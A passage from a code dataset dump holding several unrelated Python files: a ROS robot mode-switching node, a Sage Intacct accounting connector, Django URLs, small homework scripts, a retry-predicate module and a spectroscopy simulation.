self.plc_out_pub.publish(msg)\n\n    def handle_joy(self, msg):\n        # Parse msg\n        joy_state = JoyState()\n        if not joy_state.fromJoyMsg(msg):\n            msg_ = '%s: waiting for /aqua/reset_3D_autopilot_state...'\n            rospy.logwarn(\n                msg_ % (rospy.get_name(), len(msg.axes), len(msg.buttons)))\n            return\n\n        # Set default prev state\n        if self.prev_joy_state is None:\n            self.prev_joy_state = joy_state\n\n        # Handle E_STOP request (Select held down + B pressed)\n        if joy_state.Select and not self.prev_joy_state.B and self.prev_joy_state.B:\n            rospy.loginfo('%s: handling E_STOP request' % rospy.get_name())\n            self.set_mode('ap')\n\n        # Handle FORCE_AP request (Select held down + Start released)\n        elif joy_state.Select and self.prev_joy_state.Start and not joy_state.Start:\n            if self.FSM == 'rl':\n                rospy.loginfo(\n                  '%s: handling FORCE_AP request' % rospy.get_name())\n                self.trigger_stop_pub.publish()\n\n        # Handle TRIGGER_START request\n        elif self.prev_joy_state.Start and not joy_state.Start:\n            if self.FSM == 'ap_prompt':\n                rospy.loginfo(\n                  '%s: handling TRIGGER_START request' % rospy.get_name())\n                self.trigger_start_pub.publish()\n\n        self.prev_joy_state = joy_state\n\n    def handle_trigger_reset(self, msg):\n        if self.FSM == 'ap':\n            self.set_mode('ap_prompt')\n        else:\n            rospy.logwarn(\n              '%s: ignoring TRIGGER_RESET in %s mode' % (\n                  rospy.get_name(), self.FSM))\n\n    def handle_trigger_start(self, msg):\n        if self.FSM == 'ap_prompt':\n            self.set_mode('rl')\n        else:\n            rospy.logwarn(\n              '%s: ignoring TRIGGER_START in %s mode' % (\n                  rospy.get_name(), self.FSM))\n\n    def handle_trigger_stop(self, msg):\n        if self.FSM == 'rl':\n            self.set_mode('ap')\n        else:\n            rospy.logwarn('%s: ignoring TRIGGER_STOP in %s mode' % (\n                rospy.get_name(), self.FSM))\n\n    def handle_set_mode(self, req):\n        self.set_mode(req.value)\n        return SetStringResponse()\n\n    def set_mode(self, newFSM):  # 'rl'/'ap'/'ap_prompt'\n        if not (newFSM == 'rl' or newFSM == 'ap' or newFSM == 'ap_prompt'):\n            msg_ = '%s: set_mode arg=%s unrecognized; expecting rl|ap|ap_prompt'\n            rospy.logerr(msg_ % (rospy.get_name(), newFSM))\n            return\n\n        if newFSM != self.FSM:\n            if self.FSM == 'rl' and (newFSM == 'ap' or newFSM == 'ap_prompt'):\n                self.activate_ap()\n            elif (self.FSM == 'ap' or self.FSM == 'ap_prompt') and newFSM == 'rl':\n                # also zero-centers all flippers for 1s before returning\n                self.deactivate_ap()\n            self.FSM = newFSM\n            self.fsm_pub.publish(String(self.FSM))\n            rospy.loginfo('%s: set to %s mode' % (rospy.get_name(), self.FSM))\n\n    def spin(self):\n        rospy.spin()\n\n\nif __name__ == '__main__':\n    try:\n        node = AquaMarshallNode()\n        node.spin()\n    except rospy.ROSInterruptException:\n        pass\n","sub_path":"scripts/marshalling_node.py","file_name":"marshalling_node.py","file_ext":"py","file_size_in_byte":6481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"627797233","text":"\n\"\"\"\nName: <Madison Byrne>\n<mean>.py\n\nProblem: create a program that represents three different ways of calculating mean\n\nCertification of Authenticity:\nI certify that this assignment is entirely my own work; however, I used the\n\"\"\"\nimport math\n\ndef main():\n    def the_mean():\n        # put the rms, harmonic and geometric in the same loop and write their code together\n        n_values = eval(input(\"enter the values: \"))\n        total_value = 0  # adding to 0 for summation\n        values = 0\n        multiply_the_result = 1  # for the geometric loop\n\n        for numbers in range(n_values): #start your loop from this\n            numbers = eval(input(\"enter the values for your n value: \"))\n            total_value = total_value + numbers**2 #for harmonic\n            values = values + 1/numbers\n            multiply_the_result = multiply_the_result * numbers #multiply your product with your n value\n\n\n        #set it up my output of the assignment\n        rms = math.sqrt(total_value/n_values) #rms\n        harmonic_mean = (n_values/ values) #for the harmonic mean\n        geometric_mean = (multiply_the_result) ** (1/n_values) #equation for the geometric\n\n        print(round(rms, 3))\n        print(round(harmonic_mean,3))\n        print(round(geometric_mean,3))\n\n    the_mean()\n\nif __name__ == '__main__':\n    main()\n","sub_path":"assignments/hw3/mean.py","file_name":"mean.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"381317093","text":"from typing import List, Dict\nfrom datetime import datetime\n\nfrom django.conf import settings\n\nfrom fyle_accounting_mappings.models import DestinationAttribute\n\nfrom sageintacctsdk import SageIntacctSDK\n\nfrom apps.workspaces.models import SageIntacctCredential\n\nfrom .models import ExpenseReport, ExpenseReportLineitem, Bill, BillLineitem\n\n\nclass SageIntacctConnector:\n    \"\"\"\n    Sage Intacct utility functions\n    \"\"\"\n    def __init__(self, credentials_object: SageIntacctCredential, workspace_id: int):\n        sender_id = settings.SI_SENDER_ID\n        sender_password = settings.SI_SENDER_PASSWORD\n\n        self.connection = SageIntacctSDK(\n            sender_id=sender_id,\n            sender_password=sender_password,\n            user_id=credentials_object.si_user_id,\n            company_id=credentials_object.si_company_id,\n            user_password=credentials_object.si_user_password\n        )\n\n        self.workspace_id = workspace_id\n\n        credentials_object.save()\n\n    def sync_accounts(self):\n        \"\"\"\n        Get accounts\n        \"\"\"\n        accounts = self.connection.accounts.get_all()\n\n        account_attributes = []\n\n        for account in accounts:\n            account_attributes.append({\n                'attribute_type': 'ACCOUNT',\n                'display_name': 'account',\n                'value': account['TITLE'],\n                'destination_id': account['ACCOUNTNO']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            account_attributes, self.workspace_id)\n        return account_attributes\n\n    def sync_departments(self):\n        \"\"\"\n        Get departments\n        \"\"\"\n        departments = self.connection.departments.get_all()\n\n        department_attributes = []\n\n        for department in departments:\n            department_attributes.append({\n                'attribute_type': 'DEPARTMENT',\n                'display_name': 'department',\n                'value': department['TITLE'],\n                'destination_id': department['DEPARTMENTID']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            department_attributes, self.workspace_id)\n        return account_attributes\n\n    def sync_expense_types(self):\n        \"\"\"\n        Get expense types\n        \"\"\"\n        expense_types = self.connection.expense_types.get_all()\n\n        expense_types_attributes = []\n\n        for expense_type in expense_types:\n            expense_types_attributes.append({\n                'attribute_type': 'EXPENSE_TYPE',\n                'display_name': 'Expense Types',\n                'value': expense_type['DESCRIPTION'],\n                'destination_id': expense_type['ACCOUNTLABEL']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            expense_types_attributes, self.workspace_id)\n        return account_attributes\n\n    def sync_projects(self):\n        \"\"\"\n        Get projects\n        \"\"\"\n        projects = self.connection.projects.get_all()\n\n        project_attributes = []\n\n        for project in projects:\n            project_attributes.append({\n                'attribute_type': 'PROJECT',\n                'display_name': 'project',\n                'value': project['NAME'],\n                'destination_id': project['PROJECTID']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            project_attributes, self.workspace_id)\n        return account_attributes\n\n    def sync_locations(self):\n        \"\"\"\n        Get locations\n        \"\"\"\n        locations = self.connection.locations.get_all()\n\n        location_attributes = []\n\n        for location in locations:\n            location_attributes.append({\n                'attribute_type': 'LOCATION',\n                'display_name': 'location',\n                'value': location['NAME'],\n                'destination_id': location['LOCATIONID']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            location_attributes, self.workspace_id)\n        return account_attributes\n\n    def sync_employees(self):\n        \"\"\"\n        Get employees\n        \"\"\"\n        employees = self.connection.employees.get_all()\n\n        employee_attributes = []\n\n        for employee in employees:\n            employee_attributes.append({\n                'attribute_type': 'EMPLOYEE',\n                'display_name': 'employee',\n                'value': employee['CONTACT_NAME'],\n                'destination_id': employee['EMPLOYEEID']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            employee_attributes, self.workspace_id)\n        return account_attributes\n\n    def sync_vendors(self):\n        \"\"\"\n        Get vendors\n        \"\"\"\n        vendors = self.connection.vendors.get_all()\n\n        vendor_attributes = []\n\n        for vendor in vendors:\n            vendor_attributes.append({\n                'attribute_type': 'VENDOR',\n                'display_name': 'vendor',\n                'value': vendor['NAME'],\n                'destination_id': vendor['VENDORID']\n            })\n\n        account_attributes = DestinationAttribute.bulk_upsert_destination_attributes(\n            vendor_attributes, self.workspace_id)\n        return account_attributes\n\n    def __construct_expense_report(self, expense_report: ExpenseReport, \\\n        expense_report_lineitems: List[ExpenseReportLineitem]) -> Dict:\n        \"\"\"\n        Create a expense report\n        :param expense_report: ExpenseReport object extracted from database\n        :param expense_report_lineitems: ExpenseReportLineitem objects extracted from database\n        :return: constructed expense_report\n        \"\"\"\n        expsense_payload = []\n        for lineitem in expense_report_lineitems:\n            expense = {\n                'expensetype' if lineitem.expense_type_id else 'glaccountno': lineitem.expense_type_id \\\n                    if lineitem.expense_type_id else lineitem.gl_account_number,\n                'amount': lineitem.amount,\n                'expensedate': {\n                    'year': datetime.strftime(lineitem.spent_at, '%Y'),\n                    'month': datetime.strftime(lineitem.spent_at, '%m'),\n                    'day': datetime.strftime(lineitem.spent_at, '%d')\n                },\n                'memo': lineitem.memo,\n                'locationid': lineitem.location_id,\n                'departmentid': lineitem.department_id,\n                'projectid': lineitem.project_id\n            }\n\n            expsense_payload.append(expense)\n\n        expense_report_payload = {\n            'employeeid': expense_report.employee_id,\n            'datecreated': {\n                'year': datetime.today().year,\n                'month': datetime.today().month,\n                'day': datetime.today().day\n            },\n            'state': 'Submitted',\n            'description': '{0} - {1}'.format(expense_report.description['claim_number'], \\\n                expense_report.description['employee_email']),\n            'expenses': {\n                'expense': expsense_payload\n            }\n        }\n\n        return expense_report_payload\n\n    def __construct_bill(self, bill: Bill, bill_lineitems: List[BillLineitem]) -> Dict:\n        \"\"\"\n        Create a bill\n        :param bill: Bill object extracted from database\n        :param bill_lineitems: BillLineItem objects extracted from database\n        :return: constructed bill\n        \"\"\"\n        bill_lineitems_payload = []\n        for lineitem in bill_lineitems:\n            expense = {\n                'ACCOUNTNO': lineitem.gl_account_number,\n                'TRX_AMOUNT': lineitem.amount,\n                'LOCATIONID': lineitem.location_id,\n                'DEPARTMENTID': lineitem.department_id,\n                'PROJECTID': lineitem.project_id\n            }\n\n            bill_lineitems_payload.append(expense)\n\n        current_date = '{0}/{1}/{2}'.format(datetime.today().month, datetime.today().day, datetime.today().year)\n        bill_payload = {\n            'WHENCREATED': current_date,\n            'VENDORID': bill.vendor_id,\n            'RECORDID': '{0} - {1}'.format(bill.description['claim_number'], bill.description['employee_email']),\n            'WHENDUE': current_date,\n            'APBILLITEMS': {\n                'APBILLITEM': bill_lineitems_payload\n            }\n        }\n\n        return bill_payload\n\n    def post_expense_report(self, expense_report: ExpenseReport, expense_report_lineitems: List[ExpenseReportLineitem]):\n        \"\"\"\n        Post expense report to Sage Intacct\n        \"\"\"\n        expense_report_payload = self.__construct_expense_report(expense_report, expense_report_lineitems)\n        created_expense_report = self.connection.expense_reports.post(expense_report_payload)\n        return created_expense_report\n\n    def post_bill(self, bill: Bill, bill_lineitems: List[BillLineitem]):\n        \"\"\"\n        Post expense report to Sage Intacct\n        \"\"\"\n        bill_payload = self.__construct_bill(bill, bill_lineitems)\n        created_bill = self.connection.bills.post(bill_payload)\n        return created_bill\n\n    def update_expense_report(self, object_key, supdocid: str):\n        \"\"\"\n        Map posted attachment with Sage Intacct Object\n        :param object_key: expense report key\n        :param supdocid: attachments id\n        :return: response from sage intacct\n        \"\"\"\n        return self.connection.expense_reports.update_attachment(key=object_key, supdocid=supdocid)\n\n    def update_bill(self, object_key, supdocid: str):\n        \"\"\"\n        Map posted attachment with Sage Intacct Object\n        :param object_key: expense report key\n        :param supdocid: attachments id\n        :return: response from sage intacct\n        \"\"\"\n        return self.connection.bills.update_attachment(recordno=object_key, supdocid=supdocid)\n\n    def post_attachments(self, attachments: List[Dict], claim_number: str):\n        \"\"\"\n        Post attachments to Sage Intacct\n        :param attachments: attachment[dict()]\n        :param claim_number: claim number of the expense group\n        :return: supdocid in sage intacct\n        \"\"\"\n\n        if attachments:\n            attachment_number = 1\n            attachments_list = []\n            for attachment in attachments:\n                attachment_type = attachment['filename'].split('.')[1]\n                attachmentToAppend = {\n                    'attachmentname': '{0} - {1}'.format(attachment['expense_id'], attachment_number),\n                    'attachmenttype': attachment_type,\n                    'attachmentdata': attachment['content']\n                }\n\n                attachments_list.append(attachmentToAppend)\n                attachment_number = attachment_number + 1\n\n            data = {\n                'supdocid': claim_number,\n                'supdocfoldername': 'FyleAttachments',\n                'attachments': {\n                    'attachment': attachments_list\n                }\n            }\n\n            created_attachment = self.connection.attachments.post(data)\n\n            if created_attachment['status'] == 'success' and created_attachment['key']:\n                return claim_number\n\n            return False\n","sub_path":"apps/sage_intacct/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"359557456","text":"from triangulation import cal_angle, get_intersection_angle\ndef find_spatial_difference(estimated_bounce_pts, observed_bounce_pts):\n    # get normal of estimated_bounce_pts\n    ev_in = estimated_bounce_pts[0]\n    ev_b = estimated_bounce_pts[1]\n    ev_out = estimated_bounce_pts[2]\n    e_normal_angle = get_normal(ev_in, ev_b, ev_out)\n    ov_in = observed_bounce_pts[0]\n    ov_b = observed_bounce_pts[1]\n    ov_out = observed_bounce_pts[2]\n    o_normal_angle = get_normal(ov_in, ov_b, ov_out)\n    angle_difference = o_normal_angle - e_normal_angle\n\n    translation = (ov_b[0] - ev_b[0], ov_b[1] - ev_b[1])\n    #print \"estimated normal: \", e_normal_angle, \"   observed normal \", o_normal_angle, \" required translation: \", translation\n    #print 'angle difference: ', angle_difference\n    # note, box2d may have different angle coordinates\n    return angle_difference, translation\n# v2: bouncing point\ndef get_normal(v1, v2, v3):\n    angle1 = cal_angle(v1, v2)\n    angle2 = cal_angle(v2, v3)\n    return (angle1 + angle2)/2\n    #inc_vec = (v2[0] - v1[0], v2[1] - v1[1])\n    #out_vec = (v3[0] - v2[0], v3[1] - v2[1])\n    #return get_intersection_angle(inc_vec, out_vec)\n\n","sub_path":"Adjust.py","file_name":"Adjust.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"590878008","text":"from django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n    path('', views.wed_1, name='wed_1'),\n    path('sale_2/', views.sale_2, name='sale_2'),\n    path('even_3/', views.even_3, name='even_3'),\n    path('shoes_4/', views.shoes_4, name='shoes_4'),\n    path('veil_5/', views.veil_5, name='veil_5'),\n    path('access_6/', views.access_6, name='access_6'),\n\n    path('<int:pk>', views.OwnPages1.as_view(), name='wedding'),\n    path('sale_2/<int:pk>', views.OwnPages2.as_view(), name='sale'),\n    path('even_3/<int:pk>', views.OwnPages3.as_view(), name='evening'),\n    path('shoes_4/<int:pk>', views.OwnPages4.as_view(), name='shoes'),\n    path('veil_5/<int:pk>', views.OwnPages5.as_view(), name='veil'),\n    path('acess_6/<int:pk>', views.OwnPages6.as_view(), name='accessories'),\n\n    path('filter/<int:pk>', views.type_filter, name='type_filter'),\n    path('filter/veil_5/<int:pk>', views.type_filter5, name='type_filter5'),\n    path('filter/access_6/<int:pk>', views.type_filter6, name='type_filter6'),\n    path('filter/even_3/<int:pk>', views.type_filter3, name='type_filter3'),\n    path('filter/wed_1/<int:pk>', views.type_filter1, name='type_filter1'),\n]\n","sub_path":"taskmnager/product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"608448206","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport cv2\nfrom tqdm import tqdm\n\nDir = 'PetImages'\nCATEGORIES = [\"Dog\", \"Cat\"]\nc1 = 2\nfor c in CATEGORIES:\n    path = os.path.join(Dir, c)\n    for img in os.listdir(path):\n        img_array = cv2.imread(os.path.join(path, img), cv2.IMREAD_GRAYSCALE)\n        plt.imshow(img_array, cmap=\"gray\")\n        plt.show()\n        if c1>0:\n            c1-=1\n        else:\n            break\n    break\n\nimg_size = 50\nnew_array = cv2.resize(img_array, (img_size, img_size))\nplt.imshow(new_array, cmap ='gray')\nplt.show()\n\ntraining_data = []\n\ncc = 0\ndef create_training_data():\n    for category in CATEGORIES:  # do dogs and cats\n\n        path = os.path.join(DATADIR,category)  # create path to dogs and cats\n        class_num = CATEGORIES.index(category)  # get the classification  (0 or a 1). 0=dog 1=cat\n\n        for img in tqdm(os.listdir(path)):  # iterate over each image per dogs and cats\n            print(\"count:\" + str(cc))\n            try:\n                img_array = cv2.imread(os.path.join(path,img) ,cv2.IMREAD_GRAYSCALE)  # convert to array\n                new_array = cv2.resize(img_array, (img_size,img_size))  # resize to normalize data size\n                training_data.append([new_array, class_num])  # add this to our training_data\n            except Exception as e:  # in the interest in keeping the output clean...\n                pass\n            #except OSError as e:\n            #    print(\"OSErrroBad img most likely\", e, os.path.join(path,img))\n            #except Exception as e:\n            #    print(\"general exception\", e, os.path.join(path,img))\n\ncreate_training_data()\n\nprint(len(training_data))","sub_path":"two.py","file_name":"two.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"139534571","text":"class Solution(object):\n  def findDiagonalOrder(self, mat):\n    \"\"\"\n    :type mat: List[List[int]]\n    :rtype: List[int]\n    \"\"\"\n    prevDirection = 'right';\n    rows = len(mat);\n    if rows == 1:\n      return mat[0];\n    cols = len(mat[0]);\n    result = [];\n    if cols == 1:\n      for l in mat:\n        result.append(l[0]);\n      return result;\n    result.append(mat[0][0]);\n    resultLength = rows * cols;\n    step = 1;\n    i = 0;\n    j = 1;\n    while step < resultLength:\n      result.append(mat[i][j]);\n      # first row, go right or down\n      if j == 0:\n        if prevDirection == 'left,down':\n          if i + 1 < rows:\n            i += 1;\n            prevDirection = 'down';\n          else:\n            j += 1;\n            prevDirection = 'right';\n        else:\n          i -= 1;\n          j += 1;\n          prevDirection = 'right,up';\n      # last row, go down or left,down\n      elif j == cols - 1:\n        if prevDirection == 'right,up':\n          i += 1;\n          prevDirection = 'down';\n        else:\n          i += 1;\n          j -= 1;\n          prevDirection = 'left,down';\n      # other cols\n      else:\n        if prevDirection == 'right':\n          if i + 1 < rows:\n            i += 1;\n            j -= 1;\n            prevDirection = 'left,down';\n          else:\n            j += 1;\n            i -= 1;\n            prevDirection = 'right,up';\n        elif prevDirection == 'right,up':\n          if i - 1 < 0:\n            j += 1;\n            prevDirection = 'right';\n          else:\n            i -= 1;\n            j += 1;\n            prevDirection == 'right,up';\n        else:\n          if i + 1 < rows:\n            i += 1;\n            j -= 1;\n            prevDirection == 'left,down';\n          else:\n            j += 1;\n            prevDirection = 'right';\n      step += 1;\n    return result;","sub_path":"dataStructure/FindDiagonalOrder.py","file_name":"FindDiagonalOrder.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"447791304","text":"from abc import abstractmethod\nfrom toughpy.utils import *\n\n_msg_invalid_error_predicate = '''A value of `%s` is not valid for an error predicate. It should be one of the followings:\n - None to set to the default predicate (i.e. retry on any error type)\n - An error type, e.g. ConnectionError.\n - A tuple of error types, e.g. (ConnectionError, TimeoutError).\n - A list of error types, e.g. [ConnectionError, TimeoutError].\n - A set of error types, e.g. {ConnectionError, TimeoutError}.\n - A callable taking an argument and returning a boolean.\n'''\n\n\nclass Predicate:\n    def __call__(self, arg):\n        return self.test(arg)\n\n    @abstractmethod\n    def test(self, arg): pass\n\n\nclass _Always(Predicate):\n    def test(self, arg):\n        return True\n\n\nclass _Never(Predicate):\n    def test(self, arg):\n        return False\n\n\nclass _IsInstanceOf(Predicate):\n\n    def __init__(self, expected_type):\n        self.expected_type = expected_type\n\n    def test(self, arg):\n        return isinstance(arg, self.expected_type)\n\n    def __eq__(self, other):\n        if isinstance(other, _IsInstanceOf):\n            return self.expected_type == other.expected_type\n        else:\n            return False\n\n\nclass _EqualTo(Predicate):\n    def __init__(self, expected_value):\n        self.expected_value = expected_value\n\n    def test(self, arg):\n        if self.expected_value is None:\n            return arg is None\n        else:\n            return self.expected_value == arg\n\n    def __eq__(self, other):\n        if isinstance(other, _EqualTo):\n            return self.expected_value == other.expected_value\n        else:\n            return False\n\n\nclass _CustomPredicate(Predicate):\n    def __init__(self, func):\n        self._func = func\n\n    def test(self, arg):\n        return self._func.__call__(arg)\n\n\n__IS_ANY_ERROR = _IsInstanceOf(BaseException)\n__NEVER = _Never()\n__ALWAYS = _Always()\n\n\ndef create_error_predicate(hint):\n    if isinstance(hint, Predicate):\n        result = hint\n    elif hint is None:\n        result = __IS_ANY_ERROR\n    elif hint is UNDEFINED:\n        result = __NEVER\n    elif is_exception_type(hint) or is_tuple_of_exception_types(hint):\n        result = _IsInstanceOf(hint)\n    elif is_list_or_set_of_exception_types(hint):\n        result = _IsInstanceOf(tuple(hint))\n    elif callable(hint):\n        result = _CustomPredicate(hint)\n    else:\n        raise ValueError(_msg_invalid_error_predicate % type(hint).__name__)\n\n    return result\n\n\ndef create_result_predicate(hint):\n    if hint is UNDEFINED:\n        result = __NEVER\n    elif callable(hint):\n        result = _CustomPredicate(hint)\n    else:\n        result = _EqualTo(hint)\n\n    return result\n","sub_path":"toughpy/predicates.py","file_name":"predicates.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"471043380","text":"import random\ndef makelotto(a):\n    while len(a) < 6:\n        lotto = random.randint(1,45)\n        if lotto not in a:\n            a.append(lotto)\n\nwin = []\nmy = []\n\nmakelotto(win)\nmakelotto(my)\n\nwin.sort()\nmy.sort()\n\nprint('금주 번호 :', win)\nprint('나의 번호 :', my)\n","sub_path":"Python/python으로 시작하는/q5_16_6.py","file_name":"q5_16_6.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"516007915","text":"import numpy as np\nfrom types import MethodType, FunctionType\nfrom wrapper import *\nfrom ctypes import c_int, c_double, POINTER, Structure\n\n\nclass ADict(dict):\n    \"\"\"\n    Dictionary where you can access keys as attributes\n    \"\"\"\n    def __getattr__(self, item):\n        try:\n            return self[item]\n        except KeyError:\n            dict.__getattribute__(self, item)\n\n\nclass RamanControl:\n    \"\"\"\n    \"\"\"\n\n    def __init__(self, params, **kwargs):\n        \"\"\"\n        __init__ function call to initialize variables from the\n        parameters for the class instance provided in __main__ and\n        add new variables for use in other functions in this class.\n        \"\"\"\n\n        for name, value in kwargs.items():\n            if isinstance(value, FunctionType):\n                setattr(self, name, MethodType(value, self, self.__class__))\n            else:\n                setattr(self, name, value)\n\n        self.time = np.linspace(-params.timeAMP, params.timeAMP, params.timeDIM)\n        self.field_t = np.empty(params.timeDIM, dtype=np.complex)\n\n        self.gamma_decay = np.ascontiguousarray(self.gamma_decay)\n        self.gamma_pure_dephasing = np.ascontiguousarray(self.gamma_pure_dephasing)\n        self.mu = np.ascontiguousarray(self.mu)\n        self.rho_0 = np.ascontiguousarray(params.rho_0)\n        self.rhoA = np.ascontiguousarray(params.rho_0.copy())\n        self.rhoB = np.ascontiguousarray(params.rho_0.copy())\n        self.energies_A = np.ascontiguousarray(self.energies_A)\n        self.energies_B = np.ascontiguousarray(self.energies_B)\n\n        N = len(self.energies_A)\n        self.dyn_rhoA = np.ascontiguousarray(np.zeros((int(N * (N + 3) / 2), params.timeDIM), dtype=np.complex))\n        self.dyn_rhoB = np.ascontiguousarray(np.zeros((int(N * (N + 3) / 2), params.timeDIM), dtype=np.complex))\n\n    def create_molecules(self, molA, molB):\n        molA.energies = self.energies_A.ctypes.data_as(POINTER(c_double))\n        molB.energies = self.energies_B.ctypes.data_as(POINTER(c_double))\n        molA.gamma_decay = self.gamma_decay.ctypes.data_as(POINTER(c_double))\n        molB.gamma_decay = self.gamma_decay.ctypes.data_as(POINTER(c_double))\n        molA.gamma_pure_dephasing = self.gamma_pure_dephasing.ctypes.data_as(POINTER(c_double))\n        molB.gamma_pure_dephasing = self.gamma_pure_dephasing.ctypes.data_as(POINTER(c_double))\n        molA.mu = self.mu.ctypes.data_as(POINTER(c_complex))\n        molB.mu = self.mu.ctypes.data_as(POINTER(c_complex))\n        molA.rho = self.rhoA.ctypes.data_as(POINTER(c_complex))\n        molB.rho = self.rhoB.ctypes.data_as(POINTER(c_complex))\n        molA.dyn_rho = self.dyn_rhoA.ctypes.data_as(POINTER(c_complex))\n        molB.dyn_rho = self.dyn_rhoB.ctypes.data_as(POINTER(c_complex))\n\n    def create_parameters(self, func_params):\n        func_params.time = self.time.ctypes.data_as(POINTER(c_double))\n        func_params.rho_0 = self.rho_0.ctypes.data_as(POINTER(c_complex))\n        func_params.nDIM = len(self.energies_A)\n        func_params.timeDIM = len(self.time)\n\n\nif __name__ == '__main__':\n\n    import matplotlib.pyplot as plt\n    from itertools import *\n\n    np.set_printoptions(precision=4)\n    energy_factor = 1. / 27.211385\n    time_factor = .02418\n\n    energies_A = np.array((0.000, 0.07439, 1.94655, 2.02094)) * energy_factor\n    energies_B = np.array((0.000, 0.07639, 1.92655, 2.02094)) * energy_factor\n    rho_0 = np.zeros((len(energies_A), len(energies_A)), dtype=np.complex)\n    rho_0[0, 0] = 1. + 0j\n    mu = 4.97738*np.ones_like(rho_0)\n    np.fill_diagonal(mu, 0j)\n\n    pop_relax = 2.418884e-8\n    electronic_dephasing = 2.418884e-4\n    vibrational_dephasing = 1.422872e-5\n\n    gamma_decay = np.ones((4, 4)) * pop_relax\n    np.fill_diagonal(gamma_decay, 0.0)\n    gamma_decay = np.tril(gamma_decay)\n    gamma_pure_dephasing = np.ones_like(gamma_decay) * electronic_dephasing\n    np.fill_diagonal(gamma_pure_dephasing, 0.0)\n    gamma_pure_dephasing[1, 0] = vibrational_dephasing\n    gamma_pure_dephasing[3, 2] = vibrational_dephasing\n    gamma_pure_dephasing[0, 1] = vibrational_dephasing\n    gamma_pure_dephasing[2, 3] = vibrational_dephasing\n    timeAMP = 1000.\n\n    params = ADict(\n        energy_factor=energy_factor,\n        time_factor=time_factor,\n        timeDIM=40000,\n        timeAMP=timeAMP,\n        rho_0=rho_0\n    )\n\n    FourLevels = dict(\n        energies_A=energies_A,\n        energies_B=energies_B,\n        gamma_decay=gamma_decay,\n        gamma_pure_dephasing=gamma_pure_dephasing,\n        mu=mu,\n    )\n    molecules = RamanControl(params, **FourLevels)\n\n    N = 100\n    omega = 1239.84193 / np.linspace(300., 800., 1000)\n    t = molecules.time\n\n    spectraA = np.zeros(N, dtype=np.complex)\n    spectraB = np.zeros(N, dtype=np.complex)\n\n    molA = Molecule()\n    molB = Molecule()\n    molecules.create_molecules(molA, molB)\n\n    for i in range(N):\n        func_params = Parameters()\n        field = 0.0001 * np.exp(-(t**2)/(2.*200**2)) * np.cos(omega[i] * t) + 0j\n        PropagateFunction(molA, func_params, field)\n","sub_path":"RamanControl_NLOPT_C/AbsorptionSpectra/absorption.py","file_name":"absorption.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"297918595","text":"import re\r\nimport os\r\n\r\n# Importing paragraph; could do this by asking user input or whatever, but this works fine for smaller samples.\r\n# fileName = \"paragraph_1.txt\"\r\nfileName = \"paragraph_2.txt\"\r\n# fileName = \"paragraph_3.txt\"\r\n# fileName = \"paragraph_4.txt\"\r\n\r\nfilePath = os.path.join(\"raw_data\",fileName)\r\nwith open(filePath, 'r') as sourceText:\r\n    \r\n    # grab source text + remove newlines and stacked spaces up to 5 deep since the way to do it with reg expressions was confusing me, and split into sentences, both to analyze.    \r\n    paragraph = sourceText.read().replace('\\n',\" \")\r\n    for i in range(5):\r\n        paragraph = paragraph.replace(\"  \",\" \")\r\n    # paragraph = sourceText.read()\r\n    print(paragraph)\r\n    sentences = re.split(\"(?<=[.!?]) +\", paragraph)\r\n    print(sentences)\r\n\r\n    # After replacing newlines and double spaces, the paragraph is approximately space delineated s.t. total words = spaces + 1\r\n    wordCount = paragraph.count(\" \") + 1\r\n\r\n    # Finding the number of letters, necessessary to calculate *letter* count of words.\r\n    totalLetters = len(re.findall(\"[a-zA-Z]\", paragraph))\r\n    # If *character* count of words is instead required (and note this'll capture \"that/'s\" and other oddities):\r\n    averageLetterCount = (len(paragraph)-wordCount+1)/(wordCount)\r\n\r\n# Aha, this is a way to print blocks of code. Finally got it lol\r\nprint('Paragraph Analysis \\n----------------------------------\\n'\r\n    f'Approximate Word Count: {wordCount}\\n'\r\n    f'Approximate Sentence Count: {len(sentences)}\\n'\r\n    f'Average Letter/Word Count: {totalLetters/wordCount:.2f}\\n'\r\n    f'Average Character/Word Count: {averageLetterCount:.2f}\\n'\r\n    f'Average Sentence Length: {wordCount/len(sentences):.2f}')","sub_path":"03-HW/PyParagraph/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
